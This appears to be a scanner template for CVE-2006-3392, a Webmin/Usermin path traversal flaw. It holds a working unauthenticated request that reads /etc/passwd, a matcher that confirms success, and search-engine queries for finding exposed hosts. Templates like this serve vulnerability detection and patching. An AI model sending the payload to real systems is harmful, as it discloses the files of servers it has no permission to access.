id: CVE-2006-3392

info:
  name: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
  author: s4e-io
  severity: medium
  description: |
    Webmin before 1.290 and Usermin before 1.220 contain a path traversal caused by calling the simplify_path function before decoding HTML, letting remote attackers read arbitrary files, exploit requires sending crafted '..%01' sequences.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to Webmin 1.290 and Usermin 1.220 or later versions.
  reference:
    - https://www.exploit-db.com/exploits/1997
    - https://www.exploit-db.com/exploits/2017
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5.0
    cve-id: CVE-2006-3392
    epss-score: 0.77805
    epss-percentile: 0.99511
    cwe-id: CWE-22
  metadata:
    max-request: 1
    vendor: webmin
    product: webmin
    shodan-query: http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2006,webmin,usermin,lfi,traversal,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022006c950f8611e6b1454f603813895c2d8696809ad431eaf228ac5480e31d4fd9802203e690db230a409bbd363931ae687dac62d33441bb120c6a1258accf95ef7560a:922c64590222798bb761d5b6d8e72950